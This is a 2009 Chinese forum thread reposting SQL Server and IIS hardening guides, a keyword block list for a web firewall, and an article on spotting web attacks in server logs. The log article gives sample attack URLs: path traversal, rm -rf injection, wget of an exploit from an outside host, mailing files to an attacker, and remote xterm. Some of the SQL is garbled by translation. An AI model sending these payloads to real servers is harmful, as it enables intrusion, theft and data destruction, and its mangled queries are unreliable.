  5. 确定所有的 SQL 服务器数据,而且系统文件是装置在 NTFS 分区,且appropraite ACLs 被应用。 如果万一某人得到对系统的存取操作权限,该层权限可以阻止入侵者破坏数据,避免造成一场大灾难。
  6.如果不使用Xp_cmdshell就关掉。 如果使用 SQL 6.5, 至少使用Server Options中的SQLExecutieCmdExec 账户操作限制非sa用户使用XP_cmdshell.
  在任何的 isql/ osql 窗口中( 或查询分析器):
  use master
  exec sp_dropextendedproc'xp_cmdshell'
  对 SQLExecutiveCmdExec 的详细情况请查看下列文章:
  http://support.microsoft.com/support/kb/article/Q159/2/21.
  如果你不需要 xp_cmdshell 那请停用它。请记住一个系统系统管理员如果需要的话总是能把它增加回来。这也好也不好 - 一个侵入者可能发现它不在,只需要把他加回来。考虑也除去在下面的 dll但是移除之前必须测试因为有些dll同时被一些程序所用。 要找到其他的程序是否使用相同的 dll:
  首先得到该 dll 。
  select o.name,c.text from dbo.syscomments c , dbo.sysobjects o where c.id=o.id and o.name='xp_cmdshell'
  其次,使用相同的 dll发现其他的扩展储存操作是否使用该dll。
  select o.name,c.text from dbo.syscomments c , dbo.sysobjects o where c.id=o.id and c.text='xplog70.dll'
  用户可以用同样的办法处理下面步骤中其他你想去掉的进程。
  7. 如不需要就停用对象连接与嵌入自动化储存程序 ( 警告 - 当这些储存程序被停用的时候 , 一些企业管理器功能可能丢失). 这些包括:
  Sp_OACreate
  Sp_OADestroy
  Sp_OAGetErrorInfo
  Sp_OAGetProperty
  Sp_OAMethod
  Sp_OASetProperty
  Sp_OAStop
  如果你决定停用该进程那么请给他们写一个脚本这样在以后你用到他们的时候你能够把他们重新添加回来 。 记住, 我们在这里正在做的是锁定一个应用程序的功能 - 你的开发平台应该放到其他机器上。
  8. 禁用你不需要的注册表存取程序。(同上面的警告)这些包括:
  Xp_regaddmultistring
  Xp_regdeletekey
  Xp_regdeletevalue
  Xp_regenumvalues
  Xp_regremovemultistring
  注意 :我过去一直在这里列出 xp_regread/ xp_regwrite但是这些程序的移除影响一些主要功能包括日志和SP的安装,所以他们的移除不被推荐。
  9.移除其他你认为会造成威胁的系统储存进程。 这种进程是相当多的,而且他们也会浪费一些cpu时间。 小心不要首先在一个配置好的服务器上这样做。首先在开发的机器上测试,确认这样不会影响到任何的系统功能。在下面是我们所推荐的有待你评估的一些列表:
  sp_sdidebug
  xp_availablemedia
  xp_cmdshell
  xp_deletemail
  xp_dirtree
 xp_dropwebtask
  xp_dsninfo
  xp_enumdsn
  xp_enumerrorlogs
  xp_enumgroups
  xp_enumqueuedtasks
  xp_eventlog
  xp_findnextmsg
  xp_fixeddrives
  xp_getfiledetails
  xp_getnetname
  xp_grantlogin
  xp_logevent
  xp_loginconfig
  xp_logininfo
  xp_makewebtask
  xp_msver xp_perfend
  xp_perfmonitor
  xp_perfsample
  xp_perfstart
  xp_readerrorlog
  xp_readmail
  xp_revokelogin
  xp_runwebtask
  xp_schedulersignal
  xp_sendmail
  xp_servicecontrol
  xp_snmp_getstate
  xp_snmp_raisetrap
  xp_sprintf
  xp_sqlinventory
  xp_sqlregister
  xp_sqltrace
  xp_sscanf
  xp_startmail
  xp_stopmail
  xp_subdirs
  xp_unc_to_drive
  xp_dirtree
  10. 在企业管理器中"安全选项" 之下禁用默认登录。(只有SQL 6.5) 当使用整合的安全时候,这使未经认可的不在 syslogins 表中使用者无权登陆一个有效的数据库服务器。
  11. 除去数据库的guest账户把未经认可的使用者据之在外。 例外情况是master和 tempdb 数据库,因为对他们guest帐户是必需的。
  12. 若非必须,请完全地禁用SQL邮件功能。它的存在使潜在的攻击者递送潜在的 trojans ,病毒或是简单实现一个DOS攻击成为可能
  13. 检查master..Sp_helpstartup看有无可疑的木马进程。 确定没有人已经在这里放置秘密的后门程序。 使用 Sp_unmakestartup 移除任何可疑进程。
  14. 检查master..Sp_password看有无trojan代码。比较你的产品scripts和一个新安装的系统的默认scripts而且方便的保存。
  15. 记录所有的用户存取访问情况。 从企业管理器做这些设定或通过以sa登陆进入查询分析器的下列各项:
  xp_instance_regwrite N'HKEY_LOCAL_MACHINE', N'SOFTWARE\ Microsoft\MSSQLServer\MSSQLServer',N'AuditLevel',REG_DWORD,3
  16. 重写应用程序使用更多用户定义的储存和察看进程所以一般的对表的访问可以被禁用。 在这里你也应该看到由于不必经常进行查询计划操作而带来的性能提升。
  17. 除去不需要的网络协议。
  18. 注意SQL 服务器的物理安全。把它锁在固定的房间里,并且注意钥匙的安全。只要有机会到服务器面前,就总是会找到一个方法进入。
  19. 建立一个计划的任务运行:
  findstr/C:" Login Failed"\mssql7\log\*.*'
  然后再重定向输出到一个文本文件或电子邮件,因此你监测失败的登录尝试。这也为系统管理员提供一个好的记录攻击的方法。 也有很多用来分析NT日志事件的第三者工具。 注意: 你可能需要将路径换成你安装SQL的路径。
  20. 设定非法访问和登陆失败日志警报。到 企业管理器中的"Manager SQL Server Messages "搜寻任何有关无权访问的消息 ( 从查找"login failed"和"denied"开始). 确定你所有感兴趣的信息被记录到事件日志。然后在这些信息上设定警报 , 发送一个电子邮件或信息到一个能够对问题及时响应的操作员。
  21. 确定在服务器和数据库层次上的角色都只被授给了需要的用户。 当 SQL Server 安全模型 7 有许多增强的时候, 它也增加额外的许可层,我们必须监控该层,确定没有人被授予了超过必需的权限。
  22. 经常检查组或角色全体会员并且确定用组分配权限,这样你的审计工作能够简化。 确定当你在的时候 , 公众的组不能从系统表执行选择操作。
  23. 花些时间审计用空密码登陆的请求。 使用下面的代码进行空密码检查:
  使用主体
  选择名字,
  password
  from syslogins
  where password is null
  order by name
  24. 如果可能,在你的组织中利用整合的安全策略。 通过使用整合的安全策略,你能够依赖系统的安全,最大简化管理工作从维护二个分开的安全模型中分离开来。这也不让密码接近连接字串。
  25. 检查所有非sa用户的存取进程和扩充存储进程的权限。 使用下面的查询定期的查询哪一个进程有公众存储权限。(在SQL Server中 使用 "type" 而不是 "xtype"):
  Use master
  select sysobjects.name
  from sysobjects,sysprotects
  where sysprotects.uid=0
  AND xtype 在 ('X','P')
  AND sysobjects.id=sysprotects.id
  Order by name
  26. 当时用企业管理器的时候,使用整合的安全策略。 过去,企业管理器被发现在标准的安全模态中储存 "sa" 密码在注册表的 plaintext 中。 注意: 即使你改变模态,密码也会留在注册表中。 使用 regedit 而且检查键:
  HKEY_CURRENT_USER\SOFTWARE\Microsoft\
  MSSQLServer\SQLEW\ Regedi\
  SQL 6.5
  现在数据被隐藏在
  HKEY_USERS\{yourSID}\software\Microsoft\Microsoft SQL server\80\tool\SQLEW\registered server X\SQL server group
  ("SQL server组" 是默认值但是你可能已建立用户组因此相应地改变其位置)
  27. 发展一个审核计划而且订定每月的安全报告,对IT主管可用的报表包括任何的新exploit,成功的攻击 , 备份保护 , 和对象存取失败统计。
  28. 不要允许使用者交互式登陆到 SQL Server之上。这个规则适用任何的服务器。 一旦一个使用者能够交互式进入一个服务器之内,就有能用来获得管理员的存取特权得到管理员权限。
  30. 尽力限制对SQL Server的查询与存取操作。 用户可以用最小权限查询sql server中的很多东西。若非必须不要给他们机会

回复 支持 反对

使用道具 举报

9#
发表于 2009-11-12 19:12:22 | 只看该作者 来自: 浙江杭州 来自 浙江杭州
Sql数据库安全配置九大措施
作者:佚名
数据库是电子商务、金融以及ERP系统的基础,通常都保存着重要的商业伙伴和客户信息。大多数企业、组织以及政府部门的电子数据都保存在各种数据库中,他们用这些数据库保存一些个人资料,比如员工薪水、个人资料等等。数据库服务器还掌握着敏感的金融数据。包括交易记录、商业事务和帐号数据,战略上的或者专业的信息,比如专利和工程数据,甚至市场计划等等应该保护起来防止竞争者和其他非法者获取的资料。数据完整性和合法存取会受到很多方面的安全威胁,包括密码策略、系统后门、数据库操作以及本身的安全方案。但是数据库通常没有象操作系统和网络这样在安全性上受到重视。

    微软的SQL Server是一种广泛使用的数据库,很多电子商务网站、企业内部信息化平台等都是基于SQL Server上的,但是数据库的安全性还没有被人们更系统的安全性等同起来,多数管理员认为只要把网络和操作系统的安全搞好了,那么所有的应用程序也就安全了。大多数系统管理员对数据库不熟悉而数据库管理员有对安全问题关心太少,而且一些安全公司也忽略数据库安全,这就使数据库的安全问题更加严峻了。数据库系统中存在的安全漏洞和不当的配置通常会造成严重的后果,而且都难以发现。数据库应用程序通常同操作系统的最高管理员密切相关。广泛SQL Server数据库又是属于“端口”型的数据库,这就表示任何人都能够用分析工具试图连接到数据库上,从而绕过操作系统的安全机制,进而闯入系统、破坏和窃取数据资料,甚至破坏整个系统。
    这里,我们主要谈论有关SQL Server2000数据库的安全配置以及一些相关的安全和使用上的问题。
    在进行SQL Server 2000数据库的安全配置之前,首先你必须对操作系统进行安全配置,保证你的操作系统处于安全状态。然后对你要使用的操作数据库软件(程序)进行必要的安全审核,比如对ASP、PHP等脚本,这是很多基于数据库的WEB应用常出现的安全隐患,对于脚本主要是一个过滤问题,需要过滤一些类似 , ‘ ; @ / 等字符,防止破坏者构造恶意的SQL语句。接着,安装SQL Server2000后请打上补丁sp1以及最新的sp2。
    下载地址是:http://www.microsoft.com/sql/downloads/2000/sp1.asp 和 http://www.microsoft.com/sql/downloads/2000/sp2.asp
    在做完上面三步基础之后,我们再来讨论SQL Server的安全配置。
    1、使用安全的密码策略
    我们把密码策略摆在所有安全配置的第一步,请注意,很多数据库帐号的密码过于简单,这跟系统密码过于简单是一个道理。对于sa更应该注意,同时不要让sa帐号的密码写于应用程序或者脚本中。健壮的密码是安全的第一步!
    SQL Server2000安装的时候,如果是使用混合模式,那么就需要输入sa的密码,除非你确认必须使用空密码。这比以前的版本有所改进。
同时养成定期修改密码的好习惯。数据库管理员应该定期查看是否有不符合密码要求的帐号。比如使用下面的SQL语句:
Use master
Select name,Password from syslogins where password is null     2、使用安全的帐号策略。

    由于SQL Server不能更改sa用户名称,也不能删除这个超级用户,所以,我们必须对这个帐号进行最强的保护,当然,包括使用一个非常强壮的密码,最好不要在数据库应用中使用sa帐号,只有当没有其它方法登录到 SQL Server 实例(例如,当其它系统管理员不可用或忘记了密码)时才使用 sa。建议数据库管理员新建立一个拥有与sa一样权限的超级用户来管理数据库。安全的帐号策略还包括不要让管理员权限的帐号泛滥。
    SQL Server的认证模式有Windows身份认证和混合身份认证两种。如果数据库管理员不希望操作系统管理员来通过操作系统登陆来接触数据库的话,可以在帐号管理中把系统帐号“BUILTIN\Administrators”删除。不过这样做的结果是一旦sa帐号忘记密码的话,就没有办法来恢复了。
    很多主机使用数据库应用只是用来做查询、修改等简单功能的,请根据实际需要分配帐号,并赋予仅仅能够满足应用要求和需要的权限。比如,只要查询功能的,那么就使用一个简单的public帐号能够select就可以了。
    3、加强数据库日志的记录。
    审核数据库登录事件的“失败和成功”,在实例属性中选择“安全性”,将其中的审核级别选定为全部,这样在数据库系统和操作系统日志里面,就详细记录了所有帐号的登录事件。

    请定期查看SQL Server日志检查是否有可疑的登录事件发生,或者使用DOS命令。

findstr /C:"登录" d:\Microsoft SQL Server\MSSQL\LOG\*.*
    4、管理扩展存储过程
    对存储过程进行大手术,并且对帐号调用扩展存储过程的权限要慎重。其实在多数应用中根本用不到多少系统的存储过程,而SQL Server的这么多系统存储过程只是用来适应广大用户需求的,所以请删除不必要的存储过程,因为有些系统的存储过程能很容易地被人利用起来提升权限或进行破坏。
    如果你不需要扩展存储过程xp_cmdshell请把它去掉。使用这个SQL语句:
use master
sp_dropextendedproc 'xp_cmdshell'
xp_cmdshell是进入操作系统的最佳捷径,是数据库留给操作系统的一个大后门。如果你需要这个存储过程,请用这个语句也可以恢复过来。
sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
    如果你不需要请丢弃OLE自动存储过程(会造成管理器中的某些特征不能使用),这些过程包括如下:

Sp_OACreate Sp_OADestroy Sp_OAGetErrorInfo Sp_OAGetProperty
Sp_OAMethod Sp_OASetProperty Sp_OAStop
去掉不需要的注册表访问的存储过程,注册表存储过程甚至能够读出操作系统管理员的密码来,如下:

Xp_regaddmultistring Xp_regdeletekey Xp_regdeletevalue Xp_regenumvalues
Xp_regread Xp_regremovemultistring Xp_regwrite
    还有一些其他的扩展存储过程,你也最好检查检查。
    在处理存储过程的时候,请确认一下,避免造成对数据库或应用程序的伤害。     5、使用协议加密
    SQL Server 2000使用的Tabular Data Stream协议来进行网络数据交换,如果不加密的话,所有的网络传输都是明文的,包括密码、数据库内容等等,这是一个很大的安全威胁。能被人在网络中截获到他们需要的东西,包括数据库帐号和密码。所以,在条件容许情况下,最好使用SSL来加密协议,当然,你需要一个证书来支持。
    6、不要让人随便探测到你的TCP/IP端口
    默认情况下,SQL Server使用1433端口监听,很多人都说SQL Server配置的时候要把这个端口改变,这样别人就不能很容易地知道使用的什么端口了。可惜,通过微软未公开的1434端口的UDP探测可以很容易知道SQL Server使用的什么TCP/IP端口了。
    不过微软还是考虑到了这个问题,毕竟公开而且开放的端口会引起不必要的麻烦。在实例属性中选择TCP/IP协议的属性。选择隐藏 SQL Server 实例。如果隐藏了 SQL Server 实例,则将禁止对试图枚举网络上现有的 SQL Server 实例的客户端所发出的广播作出响应。这样,别人就不能用1434来探测你的TCP/IP端口了(除非用Port Scan)。
    7、修改TCP/IP使用的端口
    请在上一步配置的基础上,更改原默认的1433端口。在实例属性中选择网络配置中的TCP/IP协议的属性,将TCP/IP使用的默认端口变为其他端口。
    8、拒绝来自1434端口的探测
    由于1434端口探测没有限制,能够被别人探测到一些数据库信息,而且还可能遭到DOS攻击让数据库服务器的CPU负荷增大,所以对Windows 2000操作系统来说,在IPSec过滤拒绝掉1434端口的UDP通讯,可以尽可能地隐藏你的SQL Server。
   9、对网络连接进行IP限制
    SQL Server 2000数据库系统本身没有提供网络连接的安全解决办法,但是Windows 2000提供了这样的安全机制。使用操作系统自己的IPSec可以实现IP数据包的安全性。请对IP连接进行限制,只保证自己的IP能够访问,也拒绝其他IP进行的端口连接,把来自网络上的安全威胁进行有效的控制。
    关于IPSec的使用请参看:http://www.microsoft.com/china/technet/security/ipsecloc.asp
    上面主要介绍的一些SQL Server的安全配置,经过以上的配置,可以让SQL Server本身具备足够的安全防范能力。当然,更主要的还是要加强内部的安全控制和管理员的安全培训,而且安全性问题是一个长期的解决过程,还需要以后进行更多的安全维护。

回复 支持 反对

使用道具 举报

10#
发表于 2009-11-12 19:12:35 | 只看该作者 来自: 浙江杭州 来自 浙江杭州
WEB 服务器内容过滤参考

通过 VisNetic Firewall 之类的具有内容过滤和 IDS 功能的防火墙,可以对
用户端提交的请求进行内容过滤,能够极大地提高站点防范注入和溢出等的危险。
以下内容仅供参考,禁用了这些字符串后,相信很难有什么注入的作为了!请注意前后空格!

另外,为防范攻击者使用下列命令特征的其他编码形式进行攻击,必要时还应当把主要特征的其他编码格式也一并进行过滤!
    深山红叶整理

空格的几种形式:

(普通空格)
%20
+
/**/

and
and 1=1
and 1=2
and 0
<>
select
count(*)
from
declare
@a
set
'xp_'
'cmdshell'
exec

dir
c:\
winnt\system32
windows\system32
cmd.exe
cmdshell
onerror=
'
--
"
\
$
NULL
? = &
'or''='
"''"
"''''"
SELECT
FROM
WHERE
Count(*)
net user
/add
exec%20
xp_cmdshell
insert
delete
drop
truncate
../
.../
XXXXX
xxxxx
%5c

回复 支持 反对

使用道具 举报

11#
发表于 2009-11-12 19:13:02 | 只看该作者 来自: 浙江杭州 来自 浙江杭州
Web服务攻击痕迹检测
  web站点默认80为服务端口,关于它的各种安全问题不断的发布出来,这些漏洞中一些甚至允许攻击者获得系统管理员的权限进入站点内部,以下是Zenomorph对一些80端口攻击方式的痕迹的研究,和告诉你怎样从日志记录中发现问题。
  详细描述
  下面部分通过一些列子,展示对web服务器和其上的应用程序普遍的攻击,和其留下的痕迹,这些列子仅仅是代表了主要的攻击方式,并没有列出所有的攻击形式,这部分将详细描述每种攻击的作用,和其怎样利用这些漏洞进行攻击。
  (1)"." ".." 和 "..." 请求
  这些攻击痕迹是非常普遍的用于web应用程序和web服务器,它用于允许攻击者或者蠕虫病毒程序改变web服务器的路径,获得访问非公开的区域。大多数的CGI程序漏洞含有这些".."请求。
  Example:
  http://host/cgi-bin/lame.cgi?file=../../../../etc/motd
  这个列子展示了攻击者请求mosd这个文件,如果攻击者有能力突破web服务器根目录,那么可以获得更多的信息,并进一步的获得特权。
  (2)"%20" 请求
  %20是表示空格的16进制数值,虽然这个并不代表你能够利用什么,但是在你浏览日志的时候会发现它,一些web服务器上运行的应用程序中这个字符可能会被有效的执行,所以,你应该仔细的查看日志。另一方面,这个请求有时可以帮助执行一些命令。
  Example:
  http://host/cgi-bin/lame.cgi?page=ls%20-al│
  这个列子展示了攻击者执行了一个unix的命令,列出请求的整个目录的文件,导致攻击者访问你系统中重要的文件,帮助他进一步取得特权提供条件。
  (3)"%00" 请求
  %00表示16进制的空字节,他能够用于愚弄web应用程序,并请求不同类型的文件。
  Examples:
  http://host/cgi-bin/lame.cgi?page=index.html
  这可能是个有效的请求在这个机子上,如果攻击者注意到这个请求动作成功,他会进一步寻找这个cgi程序的问题。
  http://host/cgi-bin/lame.cgi?page=../../../../etc/motd
  也许这个cgi程序不接受这个请求,原因在于它要检查这个请求文件的后缀名,如:html.shtml或者其他类型的文件。大多数的程序会告诉你所请求的文件类型无效,这个时候它会告诉攻击者请求的文件必须是一某个字符后缀的文件类型,这样,攻击者可以获得系统的路径,文件名,导致在你的系统获得更多的敏感信息
  http://host/cgi-bin/lame.cgi?page=../../../../etc/motd%00html
  注意这个请求,它将骗取cgi程序认为这个文件是个确定的可接受的文件类型,一些应用程序由于愚蠢的检查有效的请求文件,这是攻击者常用的方法。
    (4)"│" 请求
  这是个管道字符,在unix系统用于帮助在一个请求中同时执行多个系统命令。
  Example:
  # cat access_log│ grep -i ".."
  (这个命令将显示日志中的“..“请求,常用于发现攻击者和蠕虫攻击)
  常可以看到有很多web应用程序用这个字符,这也导致IDS日志中错误的报警。
  在你的程序仔细的检查中,这样是有好处的,可以降低错误的警报在入侵检测系统中。
  下面给出一些列子:
  http://host/cgi-bin/lame.cgi?page=../../../../bin/ls│
  这个请求命令执行,下面是一些变化的列子
  http://host/cgi-bin/lame.cgi?page=../../../../bin/ls%20-al%20/etc│
  这个请求在unix系统中列出/etc目录的所有文件
  http://host/cgi-bin/lame.cgi?page=cat%20access_log│grep%20-i%20"lame"
  这个请求cat命令的执行并且grep命令也将执行,查询出”lame"
  (5)";" 请求
  在unix系统,这个字符允许多个命令在一行执行
  Example:
  # id;uname -a
  (执行id命令后,紧跟着执行uname命令)
  一些web程序用这个字符,可能导致在你的IDS日志中失败的警告,你应该仔细的检查你的web程序,让你的IDS警报失败的几率降低。
  (6)"<" 和 ">" 请求
  应该检查你的日志记录中这两个字符,众多的原因中,首要的一个是这个字符表明了添加数据在文件中
  Example 1:
  # echo "your hax0red h0 h0" >> /etc/motd (请求写信息在motd这个文件中)
  一个攻击者可以容易的用象上面的这个请求篡改你的web页面。比如著名的RDS exploit常被攻击者用于更改web主页面。
  Example 2:
  http://host/something.php=<b>Hi%20mom%20Im%20Bold!</b>
  你会注意到这里html语言的标志,他同样用了“〈”,“〉”字符,这种攻击不能导致攻击者对系统进行访问,它迷惑人们认为这是个合法的信息在web站点中(导致人们在访问这个联结的时候访问到攻击者设定的地址,这种请求可能会被转变成16进制的编码字符形式,使攻击的痕迹不那么明显)
  (7)"!"请求
  这种字符请求常用语对SS(Server Side Include) I进行攻击,如果攻击者迷惑用户点击被攻击者设定的联结,和上面的一样。
  Example:
  http://host1/something.php=<!%20--#include%20virtual="http://host2
/fake-article.html"-->
  这个列子是攻击者可能会做的,它让一个host2站点上的文件看起来是来自于 host1上面的(当然,需要访问者访问这个被攻击者设定的联结。这种请求可能被转化成16进制的编码伪装,不易发现)
  同时,这种方式也可以以web站点的权限执行命令
  Example:
  <A href='http://host/something.php="/bin/rm"
  这个命令可以删除文件,如果不正确的使用是非常危险的
  Examples:
  http://host/cgi-bin/bad.cgi?doh=../../../../bin/rm%20-rf%20*│
  http://host/cgi-bin/bad.cgi?doh=rm%20-rf%20*;
  "wget and tftp" 命令
  这些命令常被攻击者用来下载可能进一步获得特权的文件,wget是unix下的命令,可能被用来下载后门程序,tftp是unix和nt下的命令,用来下载文件。一些IIS蠕虫通过tftp来复制自身传播病毒到其他的主机
  Examples:
  http://host/cgi-bin/bad.cgi?doh=../../../../path/to-wget/wget%20ht
tp://host2/Phantasmp.c│
http://host/cgi-bin/bad.cgi?doh=wget%20http://www.hwa-security.net/Pha
ntasmp.c;
  "cat" 命令
  这个命令用来查看文件内容,常用来读重要的信息,比如配置文件,密码文件,信用卡文件和你能够想到的文件
  Examples:
http://host/cgi-bin/bad.cgi?doh=../../../../bin/cat%20/etc/motd│
http://host/cgi-bin/bad.cgi?doh=cat%20/etc/motd;
  "echo" 命令
  这个命令常用于写数据到文件中,比如“index.html”
  Examples:
http://host/cgi-bin/bad.cgi?doh=../../../../bin/echo%20"fc-#kiwis%20was%20here"%20>>%200day.txt│
http://host/cgi-bin/bad.cgi?doh=echo%20"fc-#kiwis%20was%20here"%20>>%200day.txt;
"ps" 命令
  列出当前运行的进程,告诉攻击者远程主机运行了那些软件,以便从中得到一些安全问题的主意,获得进一步的权限
  Examples:
http://host/cgi-bin/bad.cgi?doh=../../../../bin/ps%20-aux│
http://host/cgi-bin/bad.cgi?doh=ps%20-aux;
  "kill and killall" 命令
  在unix系统这个命令用于杀掉进程,一个攻击者可以用这个命令来停止系统服务和程序,同时可以擦掉攻击者的痕迹,一些exploit会产生很多的子进程
  Examples: http://host/cgi-bin/bad.cgi?doh=../bin/kill%20-9%200│
http://host/cgi-bin/bad.cgi?doh=kill%20-9%200;
  "uname" 命令
  这个命令告诉攻击者远程机器的名字,一些时候,通过这个命令知道web站点位于哪个isp,也许是攻击者曾今访问过的。通常uname -a来请求,这些都将记录在日志文件中
  Examples:
http://host/cgi-bin/bad.cgi?doh=../../../../bin/uname%20-a│
http://host/cgi-bin/bad.cgi?doh=uname%20-a;
  "cc, gcc, perl, python, etc..." 编译/解释命令
  攻击者通过wget或者tftp下载exploit,并用cc,gcc这样的编译程序进行编译成可执行程序,进一步获得特权
  Examples:
http://host/cgi-bin/bad.cgi?doh=../../../../bin/cc%20Phantasmp.c│
http://host/cgi-bin/bad.cgi?doh=gcc%20Phantasmp.c;./a.out%20-p%2031337
;
  如果你查看日志中发现有“perl” python”这些说明可能攻击者下载远程的perl ,python脚本程序,并试图本地获得特权
  "mail" 命令
  攻击者通常用这个命令将系统的一些重要文件发到攻击者自己的信箱,也肯能是进行邮件炸弹的攻击
  Examples:
http://host/cgi-bin/bad.cgi?doh=../../../../bin/mail%20attacker@fuckcn
honker.org%20<<%20/etc/motd│
http://host/cgi-bin/bad.cgi?doh=mail%20steele@jersey.whitehouse.gov%20
<</tmp/wu-2.6.1.c;
  "xterm/其他X 应用程序" 命令
  xterm 常用来获得远程机器上的shell,如果你在你的日志中发现这些符号,可要认真分析你的系统,可能已经存在安全裂口。注意在日志中查找"%20-display%20" 这个字符,这种痕迹通常是在远程机子上启动xterm或者X应用程序
  Examples:
http://host/cgi-bin/bad.cgi?doh=../../../../usr/X11R6/bin/xterm%20-display%20192.168.22.1│
http://host/cgi-bin/bad.cgi?doh=Xeyes%20-display%20192.168.22.1;
  "chown, chmod, chgrp, chsh, etc..." 等命令
  在unix系统这些命令允许改变文件的许可权限
  chown = 允许设置文件的拥有者chmod = 允许设置文件的许可权限chgrp =允许改变组对文件的拥有权限chsh = 允许改变用户的shell
  Examples:
http://host/cgi-bin/bad.cgi?doh=../../../../bin/chmod%20777%20index.ht
ml│ http://host/cgi-bin/bad.cgi?doh=chmod%20777%20index.html;
http://host/cgi-bin/bad.cgi?doh=../../../../bin/chown%20zeno%20/etc/ma
ster.passwd│ http://host/cgi-bin/bad.cgi?doh=chsh%20/bin/sh;
http://host/cgi-bin/bad.cgi?doh=../../../../bin/chgrp%20nobody%20/etc/
shadow│
  "/etc/passwd" 文件
  这是系统的密码文件,一般是shadow过的,并且不允许看到加密的口令,不过对攻击者来说,可以知道那些是有效的用户,以及系统的绝对路径,站点名称等信息,由于通常被shadow过的,所以对攻击者,通常会查看/etc/shadow 文件
  "/etc/master.passwd"
  这个文件是BSD系统的密码文件,包含有加密过的密码,这个文件对root帐号仅仅是只读的,而一些不熟练的攻击者会打开他试图读取里面的内容.,如果web站点是以root权限运行的,那么对攻击者来说,就能够读取里面的内容,对系统管理员很多问题也将接踵而来
  "/etc/shadow"
  包含有加密过的系统口令,对root帐号同样只读,和/et/master.passwd差不多
  "/etc/motd"
  当用户登陆进unix系统中出现的信息,就在这个"Message of the Day" 文件中 ,它提供重要的系统信息和管理员对用户的一些设置,那些是希望用户看到的,那些不是,还含有系统的版本信息,攻击者通常查看此文件,了解是什么系统在运行,对攻击者来说,下一步是搜索这种类型的系统的exploit,进一步获得系统特权

  "/etc/hosts"
  该文件提供ip地址和网络信息,攻击者可以了解更多的系统中的网络设置
  "/usr/local/apache/conf/httpd.conf"
  这是个Apache web服务器的配置文件,攻击者可以了解诸如cgi,ssi是否可访问等信息
  "/etc/inetd.conf"
  这是inetd服务的配置文件,攻击者可以了解远程机器上的那些服务启动,是否用了wrapper进行访问控制,如果发现wrapper 运行着,攻击者下一步会检查"/etc/hosts.allow" 和 "/etc/hosts.deny",文件,并可能会更改里面的一些设置,获得特权
  ".htpasswd, .htaccess, and .htgroup"
  这些文件通常在web站点用于对用户身份进行认证,攻击者会查看这些文件,并获得用户名和密码,密码文件.htpasswd被加密过,通过一些简单的破解程序进行解密,使攻击者访问站点中被保护的区域(通常用户用和用户名相同的密码,以至攻击者可以以其他帐号进行访问)
  "access_log and error_log"
  这些是apache服务器的日志记录文件,攻击者常会查看这些文件,看那些请求被记录,那些和其他请求不同的地方
  通常,攻击者会修改这些日志文件,比如他自身的地址信息,攻击者通过80端口突破你的系统,而你的系统又没有进行备份的工作,也没有其他记录程序记录系统状况,这将使入侵检测工作变的很困难
  "[drive-letter]:winntrepairsam._ or [drive-letter]:winntrepairsam"
  Windows NT系统中的密码文件,如果远程命令不可以执行,通常攻击者会请求这些文件,然后通过"l0pht crack"之类的密码破解工具进行破解,如果攻击者试图攻击administrator的密码文件,如果成功那么远程机器将被攻击者得到控制权
  溢出 分析
  我不会在这篇文章中说过多的关于溢出的话题,我将举列说明那些现象和痕迹值得注意和特别关注的地方,缓冲攻击常被攻击者通过编码转换和其他途径来达到不易发现
  下面是个简单的列子
Example: http://host/cgi-bin/helloworld?type=AAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AA
  这个列子展示了攻击者对某个应用程序发送很多的A字符,来测试程序的缓冲溢出,缓冲溢出可以获得远程主机的命令执行权限,如果是具有setuid和属主为root的程序,通过溢出,可以得到整个系统的访问权限,如果不是setuid之类的程序,那么溢出仅仅是得到运行该web站点的用户权限
  这里并不能讲述所有的情况,不过你应该有定时的检查你的日志文件,如果那一天突然发现很多的请求,而平时的请求不多,那么说明你正遭受到溢出的攻击,当然也可能是一种新的网络蠕虫的攻击
  编码转换
  以上提及的所有攻击请求,攻击者通常知晓IDS系统常会机械的检查这些请求,通常是攻击者会用编码转换工具将所请求的内容转化成16进制的格式,导致IDS会忽略这些请求,我们熟知的CGI漏洞扫描工具Whisker就是个很好的列子。
如果你在查看日志的时候发现大量的16进制和不常见的一些字符,那么可能攻击者尝试用一些方式对你的系统进行攻击。
  一种快速发现的方法是,将你的日志文件中的那些16进制的请求,拷贝到你的浏览器中,通过浏览器可以转化成正确的请求,并显示出来请求的内容,如果你不敢冒这个危险,简单的man ASCII,可以提供给你正确的编码。
  结论
  这篇文章不可能覆盖所有的80端口的攻击,但是以上已经列举了大部分普遍的攻击方式,同时告诉你如何检查你的日志文件,和怎样加如一些IDS的规则,写她的目的在于给web系统管理员应该关注什么提供一个好的思路,同时,我也希望这篇文章可以帮助给web程序的开发者写出更好的web程序。


 

回复 支持 反对

使用道具 举报

12#
发表于 2009-11-12 19:13:33 | 只看该作者 来自: 浙江杭州 来自 浙江杭州
WEB专用服务器的安全设置的实战技巧

来源:www.hackbase.com

IIS的相关设置:
删除默认建立的站点的虚拟目录,停止默认web站点,删除对应的文件目录c:inetpub,配置所有站点的公共设置,设置好相关的连接数限制,带宽设置以及性能设置等其他设置。配置应用程序映射,删除所有不必要的应用程序扩展,只保留asp,php,cgi,pl,aspx应用程序扩展。对于php和cgi,推荐使用isapi方式解析,用exe解析对安全和性能有所影响。用户程序调试设置发送文本错误信息给户。对于数据库,尽量采用mdb后缀,不需要更改为asp,可在IIS中设置一个mdb的扩展映射,将这个映射使用一个无关的dll文件如C:WINNTsystem32inetsrvssinc.dll来防止数据库被下载。设置IIS的日志保存目录,调整日志记录信息。设置为发送文本错误信息。修改403错误页面,将其转向到其他页,可防止一些扫描器的探测。另外为隐藏系统信息,防止telnet到80端口所泄露的系统版本信息可修改IIS的banner信息,可以使用winhex手工修改或者使用相关软件如banneredit修改。
